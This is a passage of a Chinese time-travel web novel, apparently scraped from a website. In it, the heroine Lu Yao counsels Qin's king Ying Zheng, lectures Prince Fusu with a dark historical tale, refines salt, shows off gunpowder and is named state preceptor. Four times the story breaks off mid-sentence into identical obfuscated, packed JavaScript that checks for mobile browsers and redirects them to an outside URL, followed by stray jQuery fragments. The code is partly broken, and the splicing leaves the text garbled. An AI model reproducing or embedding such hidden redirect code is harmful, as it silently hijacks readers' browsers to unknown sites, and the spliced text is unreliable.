相较于鹿尧友善的处理结果,嬴政现在只想把扶苏按在地上揍一顿。
他方才说的是人话吗??
自己的将士都快死了,扶苏竟然还在这里为一个敌人的孩子求情?
今日若是王翦和其他士兵在此,听到扶苏说的这番话,定会心寒。
“扶苏,秦兵和燕国遗民,谁更重要?”
扶苏纠结了一瞬,可这一瞬,让嬴政不可置信的站起了身,他快步走到扶苏面前,强迫扶苏抬起头直视自己。
“告诉寡人,你在犹豫什么?”
“燕国已败,燕国的遗民也是父王您的子民。”扶苏梗着脖子,声音稍弱,但话里话外都觉得自己没错,“总归那位士兵并没有出事,何必赶尽杀绝?”
啪——
嬴政怫然大怒:“寡人看你是昏了头。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446526|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扶苏抬手抚摸侧脸,瞳孔震惊,这是父王第一次对他动手。
他说错了吗?
不,他没有!
扶苏挺直脊背,张口欲言:“父……”
鹿尧手疾眼快,伸手捂住了他喋喋不休的嘴巴:“小嘴巴。”
紧接着不顾扶苏的挣扎的,准备强行将人拖下去:“王上,给我一个月时间,还你一个白切黑,黑芝麻馅儿的扶苏。”
嬴政此刻也不愿看到扶苏,挥手让他离开。
“传淳于越。”他要询问一下,淳于越到底是如何教导的扶苏!
嬴政将问题原封不动转述给淳于越听,淳于越的回答虽略显迂腐,但尚在他接受程度之内。
嬴政皮笑肉不笑:“你可知扶苏是如何回答的?”
淳于越滔滔不绝的话语止住,他自然是知道扶苏的性子,呐呐不敢言。
“寡人要的是一个继承人,一个能担当起国家重任的太子,淳于越,若是扶苏的思想无法扭正,寡人就将你的歪脖子扭正!”
嬴政气的脑瓜子嗡嗡响,险些把上了年纪的淳于越拖出去打一顿。
寡人的士兵浴血奋战,以命相搏,未来的掌权者,却在怜惜敌国百姓?
简直荒唐。
他要好好考虑一下扶苏的性格是否适合执掌大权了!
彼时偏殿。
鹿尧给扶苏讲了一个很常见的复仇流小说,三五岁的男主全家惨遭灭门,十八年后手刃仇人的故事。
“假如这个孩子就是今日你要放过的孩子,你知道了十八年之后他还会杀了你,你还会放过他吗?”
扶苏犹豫了片刻:“苏杀了他的父母,他若是不报仇,枉为人子,苏没有怨言。”
“倘若他的父母是恶人呢?”
“父母恶,不及子。”
“嗯?”鹿尧挠头,这是什么道理?
“他父母用杀人夺来的钱财将他养育长大,无论他愿不愿意,他都享受到权益,不能因为他不知道,就说他没有错。”
“可他只是一个孩子。”扶苏不解,“一个孩子又能做什么呢?”
“秦法诛恶,亦恤幼弱,若是教他明辨是非后,他还要寻苏报父母之仇,苏无话可说。”
“鹿常侍,你何必赶尽杀绝?”
鹿尧反手指自己:“我?赶尽杀绝?”
她面上透着茫然,怎么和扶苏还讲不明白了呢?
“那我换个例子。”鹿尧撸起了袖子,俨然认真了起来,“韩王安无辜,他是我亲手从韩国旧贵族手中绑出来的。”
鹿尧将自己如何将韩王安带出来的经历简单讲述了一遍。
“现在,依你所言,我将他放了回去。”
“回到颍川后,他记恨我不将他放在眼里,记恨秦人夺他国土,以一己之力联合六国,合力攻打大秦。”
“六国车轮战,秦兵总会有力不逮的一天,届时秦国被攻下,王上被杀,郑王妃被掳去军营,你的兄弟姐妹无一不被捆绑在城墙上,手起刀落,人头滚落到你的脚边,你……扶苏,就在旁边看着。”
“你看着你阿母被人糟蹋,看着秦人被当畜生都不如的奴隶,看着大秦陷入水深火热之中。”
“扶苏,这样你满意了吗?”
13. 第13章
鹿尧话语不带一丝情感,像是在陈述一段早已经发生过的历史,她的每一句话,每一个字都砸在扶苏心间,让他蜷缩的手指握的更紧,指尖泛白。
想到父王对自己的暗示,扶苏脸色比纸还白。
他有理由怀疑,这件事情曾经发生过。
扶苏眼眶酸涩,眼前发晕,已然看不清面前的一切。
他所信奉的一切在鹿尧所描绘的残酷现实面前,是那么的脆弱不堪。
“会这样吗?”他听到自己茫然发问,“我只是放走了一个于大局无用的废棋。”
“棋盘上从来没有废棋,每一个不起眼的棋子到最后都有可能成为致胜的关键。”
扶苏喉结滚动,好像有什么东西要从嗓子眼中跳出来。
他用力往下咽,勉强支撑自己不晕倒。
“苏,明白了。”扶苏拱手,向鹿尧道谢。
鹿尧看着他面色惨白,摇摇欲坠的离去,不禁反思了一下自己方才说的话。
很过分吗?
诸如此类的事情,历史上只多不少。
【午后我便开始着笔写,以史为鉴,扶苏那么聪慧,不用多说他都知道该怎么做了。】
鹿尧回到自己院落,命连云取了纸笔,刚准备写时,发现了一个很严重的问题。
她不会用毛笔,更不会写篆书。
哈哈……
连云一抬头,便看见主子仿佛被抽取了灵魂一样,瘫倒在地上。
“主子,地上凉,您快起来。”连云正说着,一只手就伸了过来,她下意识接住,不知所措看向鹿尧。
鹿尧晃了晃手:“你拉我起来。”
连云这才反应过来,一手握着鹿尧的手指,一手握着她的手腕,轻缓地将她拽了起来。
要松手时,忽然被反握住了手。
连云抬头,对上了鹿尧亮晶晶、仿佛看到救星的双眼:“你会写字吗?”
“会一点……”
“太好了!来,我念你写!”鹿尧让出自己的位置,移到案桌之侧,将纸笔递了过去。
连云慌忙拒绝:“奴浅显学过几个字,怕是不能胜任,还是将连月唤过来吧。”
不待鹿尧说话,她便急匆匆垂头退下去找连月了。
连月赶来时袖子还是湿的,她正在厨房打鸡蛋,见到鹿尧,迫不及待分享:“主子,您要吃的蛋糕,奴很快就能做出来了!”
鹿尧勾手,示意她靠前来。
而后用力将连月袖子上沾染的水迹拧干:“术业有专攻,让会厨艺的人去做就行了。”
“有句话怎么说来着,不会带团队,自己干到死。”
连月琢磨了一下,恍然大悟道:“主子说的话在理!”
鹿尧按着她坐下:“你姐姐和你说要做什么没?”
连月熟稔拿起毛笔,沾了沾墨水:“主子请说。”
鹿尧见她如此上道,便开口讲起靖康之耻的故事。
当然,鹿尧把某些现在难以理解的话替换成了现在人能听懂的语句。
国都被破,王被掳,数十万人被俘虏押往北方,牵羊礼,献乳礼,每写下一句,连月的脸便白一分。
当写到被羞辱的王妃自尽而亡时,连月情绪激动,拍案道:“金人可恶至极!”
连云则是带着一种仇恨道:“死,我也会拖着金人一起死,死一个不亏,死两个赚了。”
鹿尧看向连云,为其点赞:“和我想去小日本的想法一模一样。”
连云脸色一变:“这些是您的亲身经历?”
鹿尧慌忙摆手:“不是,你莫要多想,忘记我最开始说的什么了,这只是一个小故事。”
连云连月对视一眼,神情没有半分松懈。
这故事太真实了。
“写完了吗?”鹿尧凑上前,看着纸张上越写越平整的篆书,夸赞道,“连月字写的真不错,这字整齐的像是用尺子量过,规整!”
“连云,你来检查一下,看看有没有哪里写的不对。”
连月微微昂首:“尽管检查,奴确保一个错字都没有。”
连云快速顺了一遍,抛却怒气,点头道:“没有问题。”
“规整成册,明日扶苏来了帮我交给他。”鹿尧说完,才想起来问连云连月会不会用绳子编册。
“奴会韦编。”
“没听懂,但这个就交给你解决了。”
“是。”
一番故事写下来,天色已深。
鹿尧伸了个懒腰,正准备起身回去睡觉时,腿一软,歪着倒下了。
“主子!”
“别,别紧张。”鹿尧大字躺平,伸手探向挂在天边的月亮,“我就是腿麻了,有点饿。”
她这么一说,连云连月的肚子互有呼应的咕噜咕噜叫了起来。
“奴给您捏捏。”连云膝行上前,为鹿尧捏小腿。
她捏一下,鹿尧哎呀呀叫一下。
直把连月听得乐呵呵笑不停:“主子,您习惯习惯就好了。”
“什么,习惯?”鹿尧龇牙咧嘴坐了起来,“不可能!”
“明儿我就去少府做三把板凳出来,谁爱习惯谁习惯,我可不习惯!”
两姐妹听不懂,但知道主子这是又要做新鲜玩意儿出来了。
“那奴要时刻跟在您身边,好第一时间看看板凳是什么。”
“行,你俩都跟着我!”
鹿尧说到做到,天刚亮就从温暖的被窝里爬了出来,推开门伸着懒腰,高兴道:“连云连月,咱们走!”
“主子……”
连月弱弱的声音从前方传来,鹿尧睁眼看去,原是扶苏一早过来,候在院中。
他手中拿着书册,已然翻看了三分之一。
怒容稍有显现。
“鹿常侍。”他放下书册,向鹿尧问安。
鹿尧瞅着他红肿的眼眶和十分明显的黑眼圈,在心中猜测,他不会是哭了半宿吧?
“你还好吗?”鹿尧小心翼翼询问。
扶苏张口,险些发不出声来,清嗓后,才道:“苏无事。”
昨夜他想了一夜,睡梦中梦到了鹿尧所述情形,他哭着醒来,哪怕知道了这只是一个梦境,也哀恸难以自抑,是底下人冒着大不敬去请了阿母来,他才将将止住眼泪。
“阿母,苏对不起您!”
想起烛光下阿母担忧的面容,他眨了眨酸涩的眼睛,把快溢出来的泪水憋了回去。
“鹿常侍。”扶苏行了大礼,以额贴地,“您的点拨之恩,苏感激不尽,难以言谢,唯有马首是瞻是也。”
“从今日起,您说什么,苏便做什么,再无二问!”
他叩首等待鹿尧应下,等了许
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446527|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
久也未曾听到对方说话,疑惑抬头,发现她人已经走远,还拽着两位婢女。
鹿尧背对着他挥手,喊道:“先把你手里的话本看完再说!”
“主子,把公子一个人放在院中,不妥吧……”连云一步三回头,但即便她想停下也停不下来。
鹿尧力气之大,几乎将她提了起来,只余半个脚掌可以碰到地面。
连月比连云低五六公分,直接被提了起来。
看着公子的人影逐渐远去,连云的心思也歇了。
总归是已经抛下公子了,那就等回来再说吧。
少府左采铁处。
鹿尧方一进去,就发现今天来了许多面生的人。
还未说话,便有人主动凑了上来为她介绍身份。
“这是墨家墨者,高石,他身后的人都是墨家子弟。”来人指着一个正在放裤脚的中年男人说话。
“鹿常侍。”高石眼放精光,快速迎了上来。
【这是瞌睡来了有人送枕头啊!】
“墨家人?那你会做桌子吗?”鹿尧将人扶起,同样两眼放光的看着高石。
高石激动的话被堵住,顺着鹿尧的话点了点头:“会的。”
鹿尧掏出昨夜自己画的图纸递给他:“那就麻烦你按照图纸,帮我做三张桌子,二十把凳子。”
高石想也未想,一口应下,而后低头看向手中轻飘飘图纸,感慨着鹿常侍为大秦做出巨大贡献时,被图纸上的东西惊到了。
他瞪大眼睛。
这一道横线四道竖线他还勉强能看出来是桌子,旁边短竖短横长竖是什么……
注意到纸背后还有墨迹,翻过来一看。
是两道长竖中间横着一道短横。
“怎么了?”鹿常侍的声音从前面传来。
高石天人交战了一下。
“是做不了吗?”
“没问题!”高石一下子支棱了起来,若是连张桌子凳子都做不出来,他等下哪儿有资格张嘴求人呢?
“桌子做好领回去后,放一张桌子到我旁边,正好我要学写字,你同我一起。”
“学字?”连云诧异张嘴。
“不愿意和我一起学吗?”鹿尧微微弯腰看向她。
“奴愿意!”连云回答后,下意识看向连月,见她只是开心笑着没有别的情绪,才松了口气。
高石眼见着鹿常侍风一阵儿来,风一阵就要走,赶忙开口唤住她:“鹿常侍!”
鹿尧回头,眼神询问什么事情。
“我等可以留在这里,一同参与造纸一事吗?”高石躬身,高声请求。
与此同时,其余墨家子弟也跟着躬身。
“当然可以呀!”鹿尧巴不得人再多点呢,毕竟她知道的大多数是皮毛,只能给出粗糙的版本,后续的东西还得靠他们专业人士。
“我手里所有的图纸都是公开的,只要是对它有益的,谁都可以来参加。”
高石等人肃然起敬。
鹿常侍此等只问‘是否有益’不问‘归属何人’的胸襟,便是在墨家鼎盛之时,也未必有人能如此坦荡。
要知道,匠人一技之长,可保全家在乱世中活下来,藏私实属正常。
鹿尧转身入回廊,身影消失不见。
可她无私、行义的高大身姿,却深深地烙印在众人心中。
15. 第15章
夜晚。
咸阳宫的寝殿内点着两盏青铜灯,昏黄的光焰映在嬴政手中的书册上。
他看完内容,合上书册,抬眸看向跪坐在下方,将脑袋低低垂着的人,无声叹了一口气。
扶苏到底还是年岁小。
书册中的内容虽然将地点全部换成了大秦,但,金国这个未知国家的入侵和从未听说过的风俗已然明示了这不可能是百年内会发生的事情。
“父王,儿臣有罪,请您责罚儿臣。”扶苏嗓音嘶哑颤抖,他整个人焉嗒嗒的,好似精气神都没了。
看到这样的扶苏,嬴政是心疼的,但对比起大秦的未来,他还是狠了狠心,不打算和他详谈书中内容。
“尚未发生的事情,寡人如何责罚你。”
嬴政这话便是默认了扶苏心中所想,直接将此事定性为如果扶苏一直这般秉持“仁爱”之道,宽恕一切,大秦便会如书册所言这般,极尽屈辱。
扶苏面色惨淡如纸,他垂下头,再也说不出一句话来。
如此这般,他还不如早早死去,省得误了父王大业,免了阿母受辱……
“扶苏。”头顶微微一沉,扶苏努力睁开红肿的眼睛,隐约能辨认出面前的人是父王。
嬴政拍了两下扶苏的发顶,力度不轻不重,刚好能让他神思清醒一点。
“上天愿意给你悔过重来的机会,寡人和你阿母,也信你爱你,不要沉湎于过去,看看未来,想想之后,你应该怎么做。”
扶苏茫然:“真的吗?”
上天真的愿意给他重来的机会吗?
“鹿尧的出现可以证明一切。”嬴政喂了扶苏一颗定心丸。
毕竟他的目的不是为了摧毁扶苏。
“什么都不要想了,今夜去你阿母那里好好休憩。”
派人送走扶苏后,嬴政立刻揉着鬓角,喊来赵高:“去告诉鹿尧,扶苏无事了,让她也安静休憩吧!”
嚎嚎嚎,嚎了一个时辰了,扶苏又不是三岁小儿,如何还要旁人去哄?
他嬴政的儿子,连这点抗压能力都没有吗?
嬴政等了半柱香,脑海中声音消停的那一刻,松了口气,转头又捡起他仍在桌上那本书册,移至烛火之上。
火舌迅速舔上指尖,嬴政捻着纸张,待其全部烧成灰烬,才唤奴才进来收拾。
这些习俗本无人知晓,若是被人看到了,宣扬出去,由此产生了金人,便不好了。
【我现在去厨房的话,应该没有人会发现吧。】
【我看看……连云守在门口,嗯,还是走窗户快点!】
嬴政眼神微转,今日用了三餐,夕食她甚至用了两碗饭,应当不是饿了。
她想做什么?
嬴政不知不觉,听着鹿尧的心声也走到了尚食局侧边的偏僻小房间内。
微光从窗户中透出,嬴政从缝隙中探头看去。
鹿尧蹲在陶灶边,用纱布在面前的陶罐内轻轻地沾取着什么,循环数十次后,她将盐水倒入锅中,添柴加火,将水煮沸。
屋内云烟缭绕,嬴政有那么一瞬间担心鹿尧呛死在里面,正要推门而入将人救出,门从内部推开了。
【握草,好宽厚的臂膀,抱上去的话一定会很有安全感!】
【握草,罪过,怎么是政哥!】
嬴政来不及说话,就看见鹿尧啪啪左右开弓给了自己两巴掌。
【亵渎老祖宗,罪该万死啊!】
嬴政早些时候就不理解为什么鹿尧有时称呼自己为哥哥,有时又唤自己老祖宗的操作,他以为私下里,鹿尧该称呼自己为祖宗。
不过……
嬴政想,或许剑的脑袋无法搞清楚人类的称呼问题。
“你在这里做什么?”嬴政怕鹿尧等下再给自己两巴掌,便主动打断她的思绪,主动开口询问。
“炼盐。”鹿尧立刻回答。
见嬴政面露疑惑之色,她细心解释道:“今日午膳的盐太粗了,有些苦,和臣印象中的菜肴还有些差别,臣想做点细盐出来,让王上吃到最完美的作品。”
嬴政看着屋内迟迟无法散出的烟雾,命蒙毅快速去将窗户都打开。
“咳咳……”鹿尧被呛的直咳嗽,“还是王上有远见,不然臣可能就被呛死在厨房这儿了。”
嬴政看着耍宝的鹿尧,手心痒痒,想拍她后脑勺一下。
“炼盐的事情和你睡觉相比,哪个重要?”
“当然是……”睡觉二字就在嘴边,鹿尧又迅速改口,道,“当然是炼盐重要!”
【其实还是睡觉重要,盐什么时候都能炼。】
【不过政哥问这个,我肯定要表现一下自己的上进心!】
嬴政终于是没忍住,抬手拍向鹿尧后脑勺。
力气不轻不重,刚好拍的鹿尧一脸懵逼。
“王上?”
“把炼盐的事情交给蒙毅,你去睡觉。”嬴政语气不容置喙。
鹿尧眨巴了一下眼睛,扭头将视线落到了憋着气将窗户全部打开的蒙毅。
【蒙毅大哥,这事儿可是政哥交给你的哦,让你加班的不是我哦~】
嬴政心道,果然如此。
只要是对他,对大秦有利的事情,鹿尧就不会藏私。
“对,把水熬干后就不用管它了。”鹿尧伸出大拇指给蒙毅点赞,“我只说了一遍你就记住了,蒙毅大哥你真棒!”
“这有什么。”蒙毅被夸得不好意思了,手摸着自己脑袋,向鹿尧保证,“这事情交给我,鹿常侍您就放心吧!”
蒙毅方一说完,还来不及站起来,面前鹿常侍的身影就已经消失不见了。
他快速去寻,才在拐角处看到鹿常侍的一抹衣角。
“跑的真快啊。”蒙毅嘟囔了一句,瞥目发现王上正看着自己,第六感让他迅速补充了一句,“鹿常侍身手矫健,就连离开的速度臣都望尘莫及啊!”
见嬴政收回目光,他才松了一口气。
恭送王上离去,蒙毅蹲到了灶前,专心守护起陶内的细盐。
月光下,蒙毅脑袋逐渐变沉……
刺啦——
刺啦——
不规律的刺耳声音惊得蒙毅猛地睁开了眼睛。
“谁!”
鹿尧举着勺子向蒙毅打招呼:“早啊。”
“厨房给你留了早餐,饿了去吃吧。”她一边说一边用勺子在陶器内不停地刮动,每刮七八下就在另外一个碗里将勺子内的东西倒出来。
看着碗内白色的晶体,蒙毅心惊于鹿尧悄无声息的在自己身边待了如此之久,又好奇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446529|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这东西便是鹿尧所说的精盐吗?
感受到蒙毅停留在自己手上的视线,鹿尧挖了一点儿盐问:“要尝尝吗?”
蒙毅受宠若惊:“可以吗?”
鹿尧点点头,将勺子内的盐倒了一点儿在蒙毅的手指肚上。
蒙毅舔了一下,那股纯粹的咸香瞬间在舌尖化开,没有半分粗盐的苦涩与杂质感。
他眼睛倏地亮了:“这、这盐竟如此咸香,还不硌牙!比尚食局存的贡盐还要好上十倍!”
鹿尧得意地扬起下巴,勺柄敲了敲陶碗边缘:“那是自然,我这可是千百年来人类智慧的结晶~”
“不过幸亏我来的早,这盐差点就焦了。”鹿尧提醒蒙毅,“要是熬过了时辰,盐不仅不会变的精细,还会更苦更难吃。”
蒙毅一脸愧色:“是我的错。”
“没事儿,这一次之后记得就行了。”鹿尧起身,将盐碗放置在了食盒内,递给蒙毅,“用完早膳,你把这个拿给王上看。”
“鹿常侍不亲自去?”
鹿尧摆了摆手:“我还有别的事情。”
蒙毅伸手挽留,这可是邀功、得王上嘉奖的好差事儿,就这样让给自己了吗?
可惜鹿尧说走便走,没给蒙毅半分机会。
没了办法,蒙毅便只好提着食盒,自己前往大阳宫。
还没踏出门,就被一个圆脸的婢女拦住了去路。
“蒙常侍,这是主子给您留的早膳。”
蒙毅看了一眼,是粟米汤。
他这时候哪儿有心情吃东西?
抬步掠过人就走了。
大阳宫。
嬴政单手端碗,豪迈饮着小米汤,吞咽下去才猛然察觉口中味道有些许不对。
他顿了一下,询问赵高:“蒙毅做好了细盐?”
赵高一头雾水,眼中冒着两个问号:怎么了吗?
嬴政放下碗,看向赵高,语气平淡问道:“今日无人尝食?”
“是鹿常侍身边的人送来的,特意叮嘱奴仅供王上您用。”
赵高回答完才察觉出来哪里不妥,忙道:“奴才亲自尝过食,无毒。”
“鹿尧送来的,自然不可能有毒。”嬴政面色好转,周身凝滞的气势也缓缓消散。
“王上说的正是,鹿常侍送来的膳食怎会有毒。”赵高陪笑,心中却暗自嘀咕王上这到底是什么意思。
“你既尝了,就没尝出来这米汤和以往有什么不同?”
赵高一愣,砸吧了下嘴。
他就尝了那么一丢丢,还真没尝出什么味道来。
“寡人看你这舌头可以割了喂牛。”嬴政十分不满。
赵高正要赔罪,身后传来蒙毅的声音,立刻往后退着道:“蒙毅求见,一定是细盐制作好了,奴去引蒙毅前来觐见。”
蒙毅欢天喜地进来,将细盐呈上:“王上,您看这盐比雪还要白上三分,味道更是前所未有的鲜!”
他说着,作势要取白盐给王上亲尝。
“寡人已经吃过了。”嬴政拒绝,并将自己面前的小米粥端了起来,品了一口,“这细盐确实是好东西。”
看清楚王上碗里的东西是什么后,蒙毅肠子都毁青了。
那位婢女,可千万要留住鹿常侍给他的早膳啊!
16. 第16章
时间一晃过去了半月有余。
鹿尧整日忙的神龙见首不见尾,连云连月都只有在学写字和夜晚睡觉前见她一面。
这日天还未亮。
赵高就堵在了门口。
鹿尧本是想装没看见掠过,又担心是正哥找自己有什么急事,折返回来用脚踢了踢赵高:“醒醒。”
赵高惊醒,看到鹿尧站在自己面前,再猛然想起了自己是来干什么的。
“鹿常侍!”
赵高一声喊,吓的鹿尧一哆嗦。
“你喊什么?我又没聋。”
赵高哎呦一声,道:“奴在这儿堵了您两天了,总算堵在最后一天堵到您了!”
鹿尧抬头,示意他说事儿。
“今儿是王翦将军班师回朝的日子,估摸着再过两个时辰就到王都了,王上请您到大阳宫呢。”
“还有两个时辰……那来得及。”鹿尧摆着手指头一算时辰,转身就往外走,“我知道了,两个时辰后再见!”
她脚步飞快,眨眼的功夫人就消失不见了。
“哎呦,我的鹿常侍啊——”赵高也是傻眼了,这人怎么撒手没呢!
这怎么跟王上交差呢?
赵高艰难地往大阳宫走去。
两个时辰后。
王翦大步迈入大阳宫殿中。
面见王上,王翦收了满身的意气风发之气,单膝跪地,沉声道:“臣王翦,幸不辱命,燕都蓟城已破,燕王喜率残部遁逃辽东,燕地悉平!”
“起来说话。”嬴政的声音里带着难掩的赞许,示意赵高赐座,“此番出征大胜,王老将军老当益壮,不输当年半分!”
“寡人有你,心中安了大半啊。”
王翦眼中闪过暖意,顺势起身拱手道:“得王上信赖,臣愿竭尽所能,为大秦为王上,付出一切!”
王翦声音铿锵有力,浑身赶路的疲惫烟消云散,他道:“燕地一战,非臣一人之劳,若无王上命治粟内史和少府先前调动粮草,遣辛胜护送兵械,为大军保驾护航,臣断难如此顺遂破城。”
“且……”
王翦扫视一圈,并未见到鹿尧:“且,鹿常侍武力高强,以一敌千百之众,此战军中伤亡之数不足五分之一,震惊天下!”
殿中一片哗然。
“竟不足五分之一???”
“那日她救王上的招式便可窥视一二,鹿常侍绝非常人!”
“怕是哪处隐世家族出来的能人异士……”
思及鹿尧近些时日行事,众人纷纷点头,认同了这个说法。
王翦尽收于耳,有些讶异鹿尧在朝中名声如此之好。
嬴政大喜,扬手嘉奖王翦:“传寡人旨意:赐王翦黄金二百镒、锦缎百匹,良田千亩,府邸一座,另赏家仆二十人,好生照料将军起居。”
“你麾下将士,凡参与破蓟城之战者,皆晋爵一级,赏钱五倍;阵亡将士家属,除原有抚恤外,再免徭役十年。”
王翦闻言,跪地叩首:“臣代麾下将士,谢王上隆恩!”
赵高代表嬴政上前,亲自将他扶起:“王老将军千万保重身体,王上和大秦,不能没有您。”
“言重,言重。”王翦实在按捺不住心中的疑问,询问赵高,“鹿常侍为何不在?”
赵高嘴角的笑僵住,王上已经骂过他了,连个人都请不过来。
正要和王老将军说自己没请来人时,就听殿外轰隆隆推车咕噜的声音传来……
还未反应过来,赵高的脚就已经在往外走了。
敢在大阳宫外闹出这番动静,吵扰朝政的,唯有一人——鹿尧。
垫着脚尖探头一看,赵高面上露出果然如此的神色。
“宣鹿常侍觐见——”眼见着人要进来了,赵高连忙高声喊了一句。
鹿尧将独轮王八拱稳稳停好,从上面取了一个黑匣子,收拾了一下仪表进殿中。
【好多人啊.周迅脸.jp】
【他们怎么都看着我?糟了,今天早上出门着急,忘记洗脸了!】
【都怪赵高,要不是赵高我才不会忘记洗漱呢。】
鹿尧目不斜视,提溜着盒子大大方方走到嬴政面前,规矩行礼:“臣鹿尧,参见王上。”
嬴政瞧着她这模样,怎么看都不像是心里这么多小九九的人。
“三催四请,鹿常侍总算腾出时间来见寡人一面了。”
【政哥这是生气了?】
她献宝似的往嬴政身边凑去:“王上,臣是为了庆祝王翦将军大胜归来,研制好东西去了。”
赵高本欲先查看一下,伸出去的手扑了空。
正要开口阻止鹿尧冒失靠近时,就见王上示意他退下。
得嘞,他就不该怀疑鹿尧在王上心里的地位。
嬴政从黑匣子里随意拿出来了一个和小拇指长短大小差不多的竹筒,不明所以询问:“这是什么?”
难道是装的吃的?
“王上稍等。”鹿尧嘿嘿一笑,也拿起一个小竹筒,走到赵高身侧的空地上,将竹筒上面密封好的节点用力戳开,倒出来一排黑色粉末。
众目睽睽之下,她从衣袖兜里掏出来一个火折子,缓缓靠近那些黑色粉末。
咻——
粉末瞬间开始燃烧,灰白色浓烟伴随着密集的小火星,一股硫磺的味道弥漫整个大殿。
一阵微弱的风从右侧刮过,将烟雾和气味吹散,原本黑色粉末的地方只留下一点淡淡的灰色痕迹。
王翦想起鹿尧行军时随口提到过的火药,忍不住开口问:“这边是鹿常侍所说,能炸平山脉的东西吗?”
王翦一句话点燃众臣,他们七嘴八舌的议论起来。
“静——”眼见着殿内乱了起来,赵高高声将局面压制下来。
嬴政早就激动过了,因此十分沉稳示意鹿尧为众臣讲解一下是和效用,该如何使用。
【能说这是方士给政哥炼药炼出来的产物吗?】
【只不过那个时候没人知道这东西怎么用而已。】
鹿尧心里嘀嘀咕咕,面上却是可靠异常,举手投足间尽显高人风范:“这确实是可以炸毁整条山脉之物,它名为□□。”
鹿尧拿出盒子里的小竹筒,在手里随意把玩着。
王翦一边激动一边担忧,怕鹿尧手抖,不小心把王宫炸了。
“放心,这些量只能听个响,没有那么大威力。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455630|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鹿尧分发给了王翦一枚,又递给他打火石,“你试试引燃它。”
“王翦,你别……”身后同僚劝诫声虽小,但清晰地传进了王翦耳中。
王翦胡子抖了抖,看着手里的大杀器,喉结滚动:“我——试试。”
在鹿尧眼神鼓励下,王翦心一横,点燃了引线,无师自通的将小竹筒扔了出去。
砰——
空中炸出一团烟雾,刺鼻的气味再次弥散开来。
然而众人不仅没有捂住口鼻,反而是深深的吸了一口气。
有这般杀器,秦一统六国的进程只会更快!
炽热的视线纷纷落到鹿尧的身上,她顿了顿:“你们别只看我啊,这火药的事儿可不是我一个人就能完成的,你们都得帮忙!”
武臣们一个比一个激动,若不是宫规在此,他们早就冲上去将鹿尧团团围住,求问她,他们该怎么样才能帮助她。
“鹿大人,蒙武随叫随到,任您差遣!”蒙武率先表态,其他人紧随其后,跪求鹿尧多多使唤他们。
【哇,又可以当甩手掌柜了!】
鹿尧眼睛亮晶晶看着嬴政,等着嬴政的吩咐。
嬴政扶额,些许无奈:“不可耽误朝臣之事。”
私下里,随她去。
“是!臣等定不误本职朝事!”
火药一事就此结束,继而进行下一项议程。
鹿尧以为没自己什么事儿了,便回了自己的位置,跪坐下。
她两眼发呆的盯着面前擦得能反光映照出天花板上黑色雷纹的地砖,满心想的都是什么时候下朝。
【麻麻麻。】
【麻麻麻。】
【麻麻麻。】
嬴政眼角抽了抽,努力屏蔽着鹿尧的心声。
每次上朝,她都会念叨许久腿麻,暗地里想了无数回将她的桌椅搬到朝堂上。
嬴政实在无法想象大臣们人手一张桌子,一把凳子,排列坐在殿中的场景,若她实在想坐着……
嬴政看着手边匣子,陷入沉思。
只她一人,也不是不可以。
朝事进行到最后一项,赵高在嬴政的示意下,拿出一道手诏。
他快速瞟了一眼神游天外的鹿尧,暗自清了清嗓子,高声道:“传王上旨意——”
“鹿常侍尧,天资卓绝,通改良之术,创造纸、火药之法,助军破敌、利国利民,其才远超寻常臣子。今寡人特册封鹿尧为大秦国师,掌天下技艺研发、方略献策之责,享诸侯礼遇,入朝不趋、赞拜不名!”
冷不丁被点名,鹿尧打了个激灵。
听完手诏内容,她瞪大了眼睛看向上方,满目不可置信。
【国师?!】
【享诸侯礼遇??】
【入朝不趋、赞拜不名???】
【政哥!我配吗?!】
嬴政看向群臣,无一人有异议。
王翦第一个反应过来,猛地拱手高呼:“王上圣明!鹿国师当之无愧!”
李斯紧随其后:“国师之位,非鹿常侍莫属!有她在,大秦技艺、军事必能更上一层!”
众臣纷纷附和,“王上圣明”之呼声环绕大殿,久经不息。
